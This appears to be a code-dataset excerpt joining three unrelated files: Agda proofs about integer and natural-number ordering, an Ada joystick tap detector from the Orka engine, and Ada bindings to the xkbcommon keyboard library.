( associative-add-ℤ (neg-ℤ k) l (diff-ℤ l m)) ∙
( ap
( add-ℤ (neg-ℤ k))
( ( inv (associative-add-ℤ l (neg-ℤ l) m)) ∙
( ( ap (λ x → add-ℤ x m) (right-inverse-law-add-ℤ l)) ∙
( left-unit-law-add-ℤ m))))
transitive-leq-ℤ : (k l m : ℤ) → leq-ℤ k l → leq-ℤ l m → leq-ℤ k m
transitive-leq-ℤ k l m p q =
tr is-non-negative-ℤ
( triangle-diff-ℤ k l m)
( is-non-negative-add-ℤ
( add-ℤ (neg-ℤ k) l)
( add-ℤ (neg-ℤ l) m)
( p)
( q))
succ-leq-ℤ : (k : ℤ) → leq-ℤ k (succ-ℤ k)
succ-leq-ℤ k =
tr is-non-negative-ℤ
( inv
( ( right-successor-law-add-ℤ (neg-ℤ k) k) ∙
( ap succ-ℤ (left-inverse-law-add-ℤ k))))
( star)
leq-ℤ-succ-leq-ℤ : (k l : ℤ) → leq-ℤ k l → leq-ℤ k (succ-ℤ l)
leq-ℤ-succ-leq-ℤ k l p = transitive-leq-ℤ k l (succ-ℤ l) p (succ-leq-ℤ l)
is-positive-ℤ : ℤ → UU lzero
is-positive-ℤ k = is-non-negative-ℤ (pred-ℤ k)
le-ℤ : ℤ → ℤ → UU lzero
le-ℤ (inl zero-ℕ) (inl x) = empty
le-ℤ (inl zero-ℕ) (inr y) = unit
le-ℤ (inl (succ-ℕ x)) (inl zero-ℕ) = unit
le-ℤ (inl (succ-ℕ x)) (inl (succ-ℕ y)) = le-ℤ (inl x) (inl y)
le-ℤ (inl (succ-ℕ x)) (inr y) = unit
le-ℤ (inr x) (inl y) = empty
le-ℤ (inr (inl star)) (inr (inl star)) = empty
le-ℤ (inr (inl star)) (inr (inr x)) = unit
le-ℤ (inr (inr x)) (inr (inl star)) = empty
le-ℤ (inr (inr zero-ℕ)) (inr (inr zero-ℕ)) = empty
le-ℤ (inr (inr zero-ℕ)) (inr (inr (succ-ℕ y))) = unit
le-ℤ (inr (inr (succ-ℕ x))) (inr (inr zero-ℕ)) = empty
le-ℤ (inr (inr (succ-ℕ x))) (inr (inr (succ-ℕ y))) =
le-ℤ (inr (inr x)) (inr (inr y))
-- Extra material
-- We show that ℕ is an ordered semi-ring
leq-eq-ℕ : {m m' n n' : ℕ} → Id m m' → Id n n' → leq-ℕ m n → leq-ℕ m' n'
leq-eq-ℕ refl refl = id
left-law-leq-add-ℕ : (k m n : ℕ) → leq-ℕ m n → leq-ℕ (add-ℕ m k) (add-ℕ n k)
left-law-leq-add-ℕ zero-ℕ m n = id
left-law-leq-add-ℕ (succ-ℕ k) m n H = left-law-leq-add-ℕ k m n H
right-law-leq-add-ℕ : (k m n : ℕ) → leq-ℕ m n → leq-ℕ (add-ℕ k m) (add-ℕ k n)
right-law-leq-add-ℕ k m n H =
leq-eq-ℕ
( commutative-add-ℕ m k)
( commutative-add-ℕ n k)
( left-law-leq-add-ℕ k m n H)
preserves-leq-add-ℕ :
{m m' n n' : ℕ} → leq-ℕ m m' → leq-ℕ n n' → leq-ℕ (add-ℕ m n) (add-ℕ m' n')
preserves-leq-add-ℕ {m} {m'} {n} {n'} H K =
transitive-leq-ℕ
( add-ℕ m n)
( add-ℕ m' n)
( add-ℕ m' n')
( left-law-leq-add-ℕ n m m' H)
( right-law-leq-add-ℕ m' n n' K)
right-law-leq-mul-ℕ : (k m n : ℕ) → leq-ℕ m n → leq-ℕ (mul-ℕ k m) (mul-ℕ k n)
right-law-leq-mul-ℕ zero-ℕ m n H = star
right-law-leq-mul-ℕ (succ-ℕ k) m n H = {!!}
{-
preserves-leq-add-ℕ
{ m = mul-ℕ k m}
{ m' = mul-ℕ k n}
( right-law-leq-mul-ℕ k m n H) H
left-law-leq-mul-ℕ : (k m n : ℕ) → leq-ℕ m n → leq-ℕ (mul-ℕ m k) (mul-ℕ n k)
left-law-leq-mul-ℕ k m n H =
leq-eq-ℕ
( commutative-mul-ℕ k m)
( commutative-mul-ℕ k n)
( right-law-leq-mul-ℕ k m n H)
-- We show that ℤ is an ordered ring
{-
leq-add-ℤ : (m k l : ℤ) → leq-ℤ k l → leq-ℤ (add-ℤ m k) (add-ℤ m l)
leq-add-ℤ (inl zero-ℕ) k l H = {!!}
leq-add-ℤ (inl (succ-ℕ x)) k l H = {!!}
leq-add-ℤ (inr m) k l H = {!!}
-}
-- Section 5.5 Identity systems
succ-fam-Eq-ℕ :
{i : Level} (R : (m n : ℕ) → Eq-ℕ m n → UU i) →
(m n : ℕ) → Eq-ℕ m n → UU i
succ-fam-Eq-ℕ R m n e = R (succ-ℕ m) (succ-ℕ n) e
succ-refl-fam-Eq-ℕ :
{i : Level} (R : (m n : ℕ) → Eq-ℕ m n → UU i)
(ρ : (n : ℕ) → R n n (refl-Eq-ℕ n)) →
(n : ℕ) → (succ-fam-Eq-ℕ R n n (refl-Eq-ℕ n))
succ-refl-fam-Eq-ℕ R ρ n = ρ (succ-ℕ n)
path-ind-Eq-ℕ :
{i : Level} (R : (m n : ℕ) → Eq-ℕ m n → UU i)
( ρ : (n : ℕ) → R n n (refl-Eq-ℕ n)) →
( m n : ℕ) (e : Eq-ℕ m n) → R m n e
path-ind-Eq-ℕ R ρ zero-ℕ zero-ℕ star = ρ zero-ℕ
path-ind-Eq-ℕ R ρ zero-ℕ (succ-ℕ n) ()
path-ind-Eq-ℕ R ρ (succ-ℕ m) zero-ℕ ()
path-ind-Eq-ℕ R ρ (succ-ℕ m) (succ-ℕ n) e =
path-ind-Eq-ℕ (succ-fam-Eq-ℕ R) (succ-refl-fam-Eq-ℕ R ρ) m n e
comp-path-ind-Eq-ℕ :
{i : Level} (R : (m n : ℕ) → Eq-ℕ m n → UU i)
( ρ : (n : ℕ) → R n n (refl-Eq-ℕ n)) →
( n : ℕ) → Id (path-ind-Eq-ℕ R ρ n n (refl-Eq-ℕ n)) (ρ n)
comp-path-ind-Eq-ℕ R ρ zero-ℕ = refl
comp-path-ind-Eq-ℕ R ρ (succ-ℕ n) =
comp-path-ind-Eq-ℕ (succ-fam-Eq-ℕ R) (succ-refl-fam-Eq-ℕ R ρ) n
-}
{-
-- Graphs
Gph : (i : Level) → UU (lsuc i)
Gph i = Σ (UU i) (λ X → (X → X → (UU i)))
-- Reflexive graphs
rGph : (i : Level) → UU (lsuc i)
rGph i = Σ (UU i) (λ X → Σ (X → X → (UU i)) (λ R → (x : X) → R x x))
-}
-- Exercise 3.7
{- With the construction of the divisibility relation we open the door to basic
number theory. -}
divides : (d n : ℕ) → UU lzero
divides d n = Σ ℕ (λ m → Eq-ℕ (mul-ℕ d m) n)
|
orka/src/orka/implementation/orka-inputs-joysticks-tapping.adb | onox/orka | 52 | 19103 | <gh_stars>10-100
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2019 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Orka.OS;
package body Orka.Inputs.Joysticks.Tapping is
function Create_Tap_Detector
(Button : Button_Index;
Max_Delta : Duration) return Button_Tap_Detector is
begin
return
(Button => Button,
Max_Delta => Max_Delta,
Last_Press => Orka.OS.Monotonic_Clock - Max_Delta,
Active => False);
end Create_Tap_Detector;
function Detect_Activation
(Object : in out Button_Tap_Detector;
Joystick : Joystick_Input'Class) return Boolean
is
Current_Time : constant Time := Orka.OS.Monotonic_Clock;
On_Time : constant Boolean := Current_Time - Object.Last_Press < Object.Max_Delta;
begin
if Joystick.Just_Pressed (Object.Button) then
Object.Last_Press := Current_Time;
Object.Active := On_Time;
end if;
return On_Time and Object.Active;
end Detect_Activation;
end Orka.Inputs.Joysticks.Tapping;
|
src/ada-xkb/src/xkb.ads | mstewartgallus/linted | 0 | 28150 | <filename>src/ada-xkb/src/xkb.ads<gh_stars>0
-- Copyright 2015 <NAME>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-- implied. See the License for the specific language governing
-- permissions and limitations under the License.
with Interfaces.C; use Interfaces.C;
with Libc.Stdint;
with Interfaces.C.Strings;
with Libc.Stddef;
with System;
limited with Libc.Stdio;
package XKB with
Spark_Mode => Off is
pragma Preelaborate;
pragma Link_With ("-lxkbcommon");
XKB_KEYCODE_INVALID : constant := 16#ffffffff#;
XKB_LAYOUT_INVALID : constant := 16#ffffffff#;
XKB_LEVEL_INVALID : constant := 16#ffffffff#;
XKB_MOD_INVALID : constant := 16#ffffffff#;
XKB_LED_INVALID : constant := 16#ffffffff#;
XKB_KEYCODE_MAX : constant := 16#ffffffff# - 1;
-- arg-macro: function xkb_keycode_is_legal_ext (key)
-- return key <= XKB_KEYCODE_MAX;
-- arg-macro: function xkb_keycode_is_legal_x11 (key)
-- return key >= 8 and then key <= 255;
type xkb_context is limited private;
type xkb_context_access is access all xkb_context;
type xkb_keymap is limited private;
type xkb_keymap_access is access all xkb_keymap;
type xkb_state is limited private;
type xkb_state_access is access all xkb_state;
subtype xkb_keycode_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:161
subtype xkb_keysym_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:191
subtype xkb_layout_index_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:211
subtype xkb_layout_mask_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:213
subtype xkb_level_index_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:227
subtype xkb_mod_index_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:252
subtype xkb_mod_mask_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:254
subtype xkb_led_index_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:281
subtype xkb_led_mask_t is
Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:283
type xkb_rule_names is record
rules : Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:323
model : Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:331
layout : Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:340
variant : Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:351
options : Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:362
end record;
pragma Convention
(C_Pass_By_Copy,
xkb_rule_names); -- /usr/include/xkbcommon/xkbcommon.h:314
function xkb_keysym_get_name
(keysym : xkb_keysym_t;
buffer : Interfaces.C.Strings.chars_ptr;
size : Libc.Stddef.size_t)
return int; -- /usr/include/xkbcommon/xkbcommon.h:393
pragma Import (C, xkb_keysym_get_name, "xkb_keysym_get_name");
type xkb_keysym_flags is (XKB_KEYSYM_NO_FLAGS, XKB_KEYSYM_CASE_INSENSITIVE);
pragma Convention
(C,
xkb_keysym_flags); -- /usr/include/xkbcommon/xkbcommon.h:396
function xkb_keysym_from_name
(name : Interfaces.C.Strings.chars_ptr;
flags : xkb_keysym_flags)
return xkb_keysym_t; -- /usr/include/xkbcommon/xkbcommon.h:424
pragma Import (C, xkb_keysym_from_name, "xkb_keysym_from_name");
function xkb_keysym_to_utf8
(keysym : xkb_keysym_t;
buffer : Interfaces.C.Strings.chars_ptr;
size : Libc.Stddef.size_t)
return int; -- /usr/include/xkbcommon/xkbcommon.h:443
pragma Import (C, xkb_keysym_to_utf8, "xkb_keysym_to_utf8");
function xkb_keysym_to_utf32
(keysym : xkb_keysym_t)
return Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:458
pragma Import (C, xkb_keysym_to_utf32, "xkb_keysym_to_utf32");
type xkb_context_flags is
(XKB_CONTEXT_NO_FLAGS,
XKB_CONTEXT_NO_DEFAULT_INCLUDES,
XKB_CONTEXT_NO_ENVIRONMENT_NAMES);
pragma Convention
(C,
xkb_context_flags); -- /usr/include/xkbcommon/xkbcommon.h:473
function xkb_context_new
(flags : xkb_context_flags)
return xkb_context_access; -- /usr/include/xkbcommon/xkbcommon.h:496
pragma Import (C, xkb_context_new, "xkb_context_new");
function xkb_context_ref
(context : xkb_context)
return xkb_context_access; -- /usr/include/xkbcommon/xkbcommon.h:506
pragma Import (C, xkb_context_ref, "xkb_context_ref");
procedure xkb_context_unref
(context : xkb_context); -- /usr/include/xkbcommon/xkbcommon.h:516
pragma Import (C, xkb_context_unref, "xkb_context_unref");
procedure xkb_context_set_user_data
(context : xkb_context_access;
user_data : System.Address); -- /usr/include/xkbcommon/xkbcommon.h:527
pragma Import (C, xkb_context_set_user_data, "xkb_context_set_user_data");
function xkb_context_get_user_data
(context : xkb_context)
return System.Address; -- /usr/include/xkbcommon/xkbcommon.h:541
pragma Import (C, xkb_context_get_user_data, "xkb_context_get_user_data");
function xkb_context_include_path_append
(context : xkb_context_access;
path : Interfaces.C.Strings.chars_ptr)
return int; -- /usr/include/xkbcommon/xkbcommon.h:565
pragma Import
(C,
xkb_context_include_path_append,
"xkb_context_include_path_append");
function xkb_context_include_path_append_default
(context : xkb_context)
return int; -- /usr/include/xkbcommon/xkbcommon.h:575
pragma Import
(C,
xkb_context_include_path_append_default,
"xkb_context_include_path_append_default");
function xkb_context_include_path_reset_defaults
(context : xkb_context)
return int; -- /usr/include/xkbcommon/xkbcommon.h:588
pragma Import
(C,
xkb_context_include_path_reset_defaults,
"xkb_context_include_path_reset_defaults");
procedure xkb_context_include_path_clear
(context : xkb_context); -- /usr/include/xkbcommon/xkbcommon.h:596
pragma Import
(C,
xkb_context_include_path_clear,
"xkb_context_include_path_clear");
function xkb_context_num_include_paths
(context : xkb_context)
return unsigned; -- /usr/include/xkbcommon/xkbcommon.h:604
pragma Import
(C,
xkb_context_num_include_paths,
"xkb_context_num_include_paths");
function xkb_context_include_path_get
(context : xkb_context_access;
index : unsigned)
return Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:615
pragma Import
(C,
xkb_context_include_path_get,
"xkb_context_include_path_get");
subtype xkb_log_level is unsigned;
XKB_LOG_LEVEL_CRITICAL : constant xkb_log_level := 10;
XKB_LOG_LEVEL_ERROR : constant xkb_log_level := 20;
XKB_LOG_LEVEL_WARNING : constant xkb_log_level := 30;
XKB_LOG_LEVEL_INFO : constant xkb_log_level := 40;
XKB_LOG_LEVEL_DEBUG : constant xkb_log_level :=
50; -- /usr/include/xkbcommon/xkbcommon.h:627
procedure xkb_context_set_log_level
(context : xkb_context_access;
level : xkb_log_level); -- /usr/include/xkbcommon/xkbcommon.h:649
pragma Import (C, xkb_context_set_log_level, "xkb_context_set_log_level");
function xkb_context_get_log_level
(context : xkb_context)
return xkb_log_level; -- /usr/include/xkbcommon/xkbcommon.h:658
pragma Import (C, xkb_context_get_log_level, "xkb_context_get_log_level");
procedure xkb_context_set_log_verbosity
(context : xkb_context_access;
verbosity : int); -- /usr/include/xkbcommon/xkbcommon.h:680
pragma Import
(C,
xkb_context_set_log_verbosity,
"xkb_context_set_log_verbosity");
function xkb_context_get_log_verbosity
(context : xkb_context)
return int; -- /usr/include/xkbcommon/xkbcommon.h:688
pragma Import
(C,
xkb_context_get_log_verbosity,
"xkb_context_get_log_verbosity");
procedure xkb_context_set_log_fn
(context : xkb_context_access;
log_fn : access procedure
(arg1 : System.Address;
arg2 : xkb_log_level;
arg3 : Interfaces.C.Strings.chars_ptr;
arg4 : access System
.Address)); -- /usr/include/xkbcommon/xkbcommon.h:711
pragma Import (C, xkb_context_set_log_fn, "xkb_context_set_log_fn");
type xkb_keymap_compile_flags is (XKB_KEYMAP_COMPILE_NO_FLAGS);
pragma Convention
(C,
xkb_keymap_compile_flags); -- /usr/include/xkbcommon/xkbcommon.h:726
function xkb_keymap_new_from_names
(context : xkb_context_access;
names : access constant xkb_rule_names;
flags : xkb_keymap_compile_flags)
return xkb_keymap_access; -- /usr/include/xkbcommon/xkbcommon.h:748
pragma Import (C, xkb_keymap_new_from_names, "xkb_keymap_new_from_names");
subtype xkb_keymap_format is unsigned;
XKB_KEYMAP_FORMAT_TEXT_V1 : constant xkb_keymap_format :=
1; -- /usr/include/xkbcommon/xkbcommon.h:753
XKB_KEYMAP_USE_ORIGINAL_FORMAT : constant xkb_keymap_format :=
xkb_keymap_format'Last;
function xkb_keymap_new_from_file
(context : xkb_context_access;
the_file : access Libc.Stdio.FILE;
format : xkb_keymap_format;
flags : xkb_keymap_compile_flags)
return xkb_keymap_access; -- /usr/include/xkbcommon/xkbcommon.h:777
pragma Import (C, xkb_keymap_new_from_file, "xkb_keymap_new_from_file");
function xkb_keymap_new_from_string
(context : xkb_context_access;
string : Interfaces.C.Strings.chars_ptr;
format : xkb_keymap_format;
flags : xkb_keymap_compile_flags)
return xkb_keymap_access; -- /usr/include/xkbcommon/xkbcommon.h:791
pragma Import (C, xkb_keymap_new_from_string, "xkb_keymap_new_from_string");
function xkb_keymap_new_from_buffer
(context : xkb_context_access;
buffer : Interfaces.C.Strings.chars_ptr;
length : Libc.Stddef.size_t;
format : xkb_keymap_format;
flags : xkb_keymap_compile_flags)
return xkb_keymap_access; -- /usr/include/xkbcommon/xkbcommon.h:805
pragma Import (C, xkb_keymap_new_from_buffer, "xkb_keymap_new_from_buffer");
function xkb_keymap_ref
(keymap : xkb_keymap)
return xkb_keymap_access; -- /usr/include/xkbcommon/xkbcommon.h:817
pragma Import (C, xkb_keymap_ref, "xkb_keymap_ref");
procedure xkb_keymap_unref
(keymap : xkb_keymap); -- /usr/include/xkbcommon/xkbcommon.h:827
pragma Import (C, xkb_keymap_unref, "xkb_keymap_unref");
function xkb_keymap_get_as_string
(keymap : xkb_keymap_access;
format : xkb_keymap_format)
return Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:854
pragma Import (C, xkb_keymap_get_as_string, "xkb_keymap_get_as_string");
function xkb_keymap_min_keycode
(keymap : xkb_keymap)
return xkb_keycode_t; -- /usr/include/xkbcommon/xkbcommon.h:873
pragma Import (C, xkb_keymap_min_keycode, "xkb_keymap_min_keycode");
function xkb_keymap_max_keycode
(keymap : xkb_keymap)
return xkb_keycode_t; -- /usr/include/xkbcommon/xkbcommon.h:882
pragma Import (C, xkb_keymap_max_keycode, "xkb_keymap_max_keycode");
type xkb_keymap_key_iter_t is access procedure
(arg1 : System.Address;
arg2 : xkb_keycode_t;
arg3 : System.Address);
pragma Convention
(C,
xkb_keymap_key_iter_t); -- /usr/include/xkbcommon/xkbcommon.h:891
procedure xkb_keymap_key_for_each
(keymap : xkb_keymap_access;
iter : xkb_keymap_key_iter_t;
data : System.Address); -- /usr/include/xkbcommon/xkbcommon.h:903
pragma Import (C, xkb_keymap_key_for_each, "xkb_keymap_key_for_each");
function xkb_keymap_num_mods
(keymap : xkb_keymap)
return xkb_mod_index_t; -- /usr/include/xkbcommon/xkbcommon.h:913
pragma Import (C, xkb_keymap_num_mods, "xkb_keymap_num_mods");
function xkb_keymap_mod_get_name
(keymap : xkb_keymap_access;
idx : xkb_mod_index_t)
return Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:924
pragma Import (C, xkb_keymap_mod_get_name, "xkb_keymap_mod_get_name");
function xkb_keymap_mod_get_index
(keymap : xkb_keymap_access;
name : Interfaces.C.Strings.chars_ptr)
return xkb_mod_index_t; -- /usr/include/xkbcommon/xkbcommon.h:936
pragma Import (C, xkb_keymap_mod_get_index, "xkb_keymap_mod_get_index");
function xkb_keymap_num_layouts
(keymap : xkb_keymap)
return xkb_layout_index_t; -- /usr/include/xkbcommon/xkbcommon.h:945
pragma Import (C, xkb_keymap_num_layouts, "xkb_keymap_num_layouts");
function xkb_keymap_layout_get_name
(keymap : xkb_keymap_access;
idx : xkb_layout_index_t)
return Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:957
pragma Import (C, xkb_keymap_layout_get_name, "xkb_keymap_layout_get_name");
function xkb_keymap_layout_get_index
(keymap : xkb_keymap_access;
name : Interfaces.C.Strings.chars_ptr)
return xkb_layout_index_t; -- /usr/include/xkbcommon/xkbcommon.h:969
pragma Import
(C,
xkb_keymap_layout_get_index,
"xkb_keymap_layout_get_index");
function xkb_keymap_num_layouts_for_key
(keymap : xkb_keymap_access;
key : xkb_keycode_t)
return xkb_layout_index_t; -- /usr/include/xkbcommon/xkbcommon.h:982
pragma Import
(C,
xkb_keymap_num_layouts_for_key,
"xkb_keymap_num_layouts_for_key");
function xkb_keymap_num_levels_for_key
(keymap : xkb_keymap_access;
key : xkb_keycode_t;
layout : xkb_layout_index_t)
return xkb_level_index_t; -- /usr/include/xkbcommon/xkbcommon.h:995
pragma Import
(C,
xkb_keymap_num_levels_for_key,
"xkb_keymap_num_levels_for_key");
function xkb_keymap_key_get_syms_by_level
(keymap : xkb_keymap_access;
key : xkb_keycode_t;
layout : xkb_layout_index_t;
level : xkb_level_index_t;
syms_out : System.Address)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1027
pragma Import
(C,
xkb_keymap_key_get_syms_by_level,
"xkb_keymap_key_get_syms_by_level");
function xkb_keymap_num_leds
(keymap : xkb_keymap)
return xkb_led_index_t; -- /usr/include/xkbcommon/xkbcommon.h:1045
pragma Import (C, xkb_keymap_num_leds, "xkb_keymap_num_leds");
function xkb_keymap_led_get_name
(keymap : xkb_keymap_access;
idx : xkb_led_index_t)
return Interfaces.C.Strings
.chars_ptr; -- /usr/include/xkbcommon/xkbcommon.h:1055
pragma Import (C, xkb_keymap_led_get_name, "xkb_keymap_led_get_name");
function xkb_keymap_led_get_index
(keymap : xkb_keymap_access;
name : Interfaces.C.Strings.chars_ptr)
return xkb_led_index_t; -- /usr/include/xkbcommon/xkbcommon.h:1066
pragma Import (C, xkb_keymap_led_get_index, "xkb_keymap_led_get_index");
function xkb_keymap_key_repeats
(keymap : xkb_keymap_access;
key : xkb_keycode_t)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1084
pragma Import (C, xkb_keymap_key_repeats, "xkb_keymap_key_repeats");
function xkb_state_new
(keymap : xkb_keymap)
return xkb_state_access; -- /usr/include/xkbcommon/xkbcommon.h:1105
pragma Import (C, xkb_state_new, "xkb_state_new");
function xkb_state_ref
(state : xkb_state)
return xkb_state_access; -- /usr/include/xkbcommon/xkbcommon.h:1115
pragma Import (C, xkb_state_ref, "xkb_state_ref");
procedure xkb_state_unref
(state : xkb_state); -- /usr/include/xkbcommon/xkbcommon.h:1125
pragma Import (C, xkb_state_unref, "xkb_state_unref");
function xkb_state_get_keymap
(state : xkb_state)
return xkb_keymap_access; -- /usr/include/xkbcommon/xkbcommon.h:1140
pragma Import (C, xkb_state_get_keymap, "xkb_state_get_keymap");
type xkb_key_direction is (XKB_KEY_UP, XKB_KEY_DOWN);
pragma Convention
(C,
xkb_key_direction); -- /usr/include/xkbcommon/xkbcommon.h:1143
subtype xkb_state_component is unsigned;
XKB_STATE_MODS_DEPRESSED : constant xkb_state_component := 1;
XKB_STATE_MODS_LATCHED : constant xkb_state_component := 2;
XKB_STATE_MODS_LOCKED : constant xkb_state_component := 4;
XKB_STATE_MODS_EFFECTIVE : constant xkb_state_component := 8;
XKB_STATE_LAYOUT_DEPRESSED : constant xkb_state_component := 16;
XKB_STATE_LAYOUT_LATCHED : constant xkb_state_component := 32;
XKB_STATE_LAYOUT_LOCKED : constant xkb_state_component := 64;
XKB_STATE_LAYOUT_EFFECTIVE : constant xkb_state_component := 128;
XKB_STATE_LEDS : constant xkb_state_component :=
256; -- /usr/include/xkbcommon/xkbcommon.h:1155
function xkb_state_update_key
(state : xkb_state_access;
key : xkb_keycode_t;
direction : xkb_key_direction)
return xkb_state_component; -- /usr/include/xkbcommon/xkbcommon.h:1214
pragma Import (C, xkb_state_update_key, "xkb_state_update_key");
function xkb_state_update_mask
(state : xkb_state_access;
depressed_mods : xkb_mod_mask_t;
latched_mods : xkb_mod_mask_t;
locked_mods : xkb_mod_mask_t;
depressed_layout : xkb_layout_index_t;
latched_layout : xkb_layout_index_t;
locked_layout : xkb_layout_index_t)
return xkb_state_component; -- /usr/include/xkbcommon/xkbcommon.h:1245
pragma Import (C, xkb_state_update_mask, "xkb_state_update_mask");
function xkb_state_key_get_syms
(state : xkb_state_access;
key : xkb_keycode_t;
syms_out : System.Address)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1278
pragma Import (C, xkb_state_key_get_syms, "xkb_state_key_get_syms");
function xkb_state_key_get_utf8
(state : xkb_state_access;
key : xkb_keycode_t;
buffer : Interfaces.C.Strings.chars_ptr;
size : Libc.Stddef.size_t)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1304
pragma Import (C, xkb_state_key_get_utf8, "xkb_state_key_get_utf8");
function xkb_state_key_get_utf32
(state : xkb_state_access;
key : xkb_keycode_t)
return Libc.Stdint.uint32_t; -- /usr/include/xkbcommon/xkbcommon.h:1317
pragma Import (C, xkb_state_key_get_utf32, "xkb_state_key_get_utf32");
function xkb_state_key_get_one_sym
(state : xkb_state_access;
key : xkb_keycode_t)
return xkb_keysym_t; -- /usr/include/xkbcommon/xkbcommon.h:1335
pragma Import (C, xkb_state_key_get_one_sym, "xkb_state_key_get_one_sym");
function xkb_state_key_get_layout
(state : xkb_state_access;
key : xkb_keycode_t)
return xkb_layout_index_t; -- /usr/include/xkbcommon/xkbcommon.h:1352
pragma Import (C, xkb_state_key_get_layout, "xkb_state_key_get_layout");
function xkb_state_key_get_level
(state : xkb_state_access;
key : xkb_keycode_t;
layout : xkb_layout_index_t)
return xkb_level_index_t; -- /usr/include/xkbcommon/xkbcommon.h:1377
pragma Import (C, xkb_state_key_get_level, "xkb_state_key_get_level");
subtype xkb_state_match is unsigned;
XKB_STATE_MATCH_ANY : constant xkb_state_match := 1;
XKB_STATE_MATCH_ALL : constant xkb_state_match := 2;
XKB_STATE_MATCH_NON_EXCLUSIVE : constant xkb_state_match :=
65536; -- /usr/include/xkbcommon/xkbcommon.h:1386
function xkb_state_serialize_mods
(state : xkb_state_access;
components : xkb_state_component)
return xkb_mod_mask_t; -- /usr/include/xkbcommon/xkbcommon.h:1415
pragma Import (C, xkb_state_serialize_mods, "xkb_state_serialize_mods");
function xkb_state_serialize_layout
(state : xkb_state_access;
components : xkb_state_component)
return xkb_layout_index_t; -- /usr/include/xkbcommon/xkbcommon.h:1437
pragma Import (C, xkb_state_serialize_layout, "xkb_state_serialize_layout");
function xkb_state_mod_name_is_active
(state : xkb_state_access;
name : Interfaces.C.Strings.chars_ptr;
c_type : xkb_state_component)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1449
pragma Import
(C,
xkb_state_mod_name_is_active,
"xkb_state_mod_name_is_active");
function xkb_state_mod_names_are_active
(state : xkb_state_access;
c_type : xkb_state_component;
match : xkb_state_match -- , ...
) return int; -- /usr/include/xkbcommon/xkbcommon.h:1470
pragma Import
(C,
xkb_state_mod_names_are_active,
"xkb_state_mod_names_are_active");
function xkb_state_mod_index_is_active
(state : xkb_state_access;
idx : xkb_mod_index_t;
c_type : xkb_state_component)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1484
pragma Import
(C,
xkb_state_mod_index_is_active,
"xkb_state_mod_index_is_active");
function xkb_state_mod_indices_are_active
(state : xkb_state_access;
c_type : xkb_state_component;
match : xkb_state_match -- , ...
) return int; -- /usr/include/xkbcommon/xkbcommon.h:1505
pragma Import
(C,
xkb_state_mod_indices_are_active,
"xkb_state_mod_indices_are_active");
function xkb_state_mod_index_is_consumed
(state : xkb_state_access;
key : xkb_keycode_t;
idx : xkb_mod_index_t)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1574
pragma Import
(C,
xkb_state_mod_index_is_consumed,
"xkb_state_mod_index_is_consumed");
function xkb_state_mod_mask_remove_consumed
(state : xkb_state_access;
key : xkb_keycode_t;
mask : xkb_mod_mask_t)
return xkb_mod_mask_t; -- /usr/include/xkbcommon/xkbcommon.h:1587
pragma Import
(C,
xkb_state_mod_mask_remove_consumed,
"xkb_state_mod_mask_remove_consumed");
function xkb_state_key_get_consumed_mods
(state : xkb_state_access;
key : xkb_keycode_t)
return xkb_mod_mask_t; -- /usr/include/xkbcommon/xkbcommon.h:1599
pragma Import
(C,
xkb_state_key_get_consumed_mods,
"xkb_state_key_get_consumed_mods");
function xkb_state_layout_name_is_active
(state : xkb_state_access;
name : Interfaces.C.Strings.chars_ptr;
c_type : xkb_state_component)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1614
pragma Import
(C,
xkb_state_layout_name_is_active,
"xkb_state_layout_name_is_active");
function xkb_state_layout_index_is_active
(state : xkb_state_access;
idx : xkb_layout_index_t;
c_type : xkb_state_component)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1627
pragma Import
(C,
xkb_state_layout_index_is_active,
"xkb_state_layout_index_is_active");
function xkb_state_led_name_is_active
(state : xkb_state_access;
name : Interfaces.C.Strings.chars_ptr)
return int; -- /usr/include/xkbcommon/xkbcommon.h:1641
pragma Import
(C,
xkb_state_led_name_is_active,
"xkb_state_led_name_is_active");
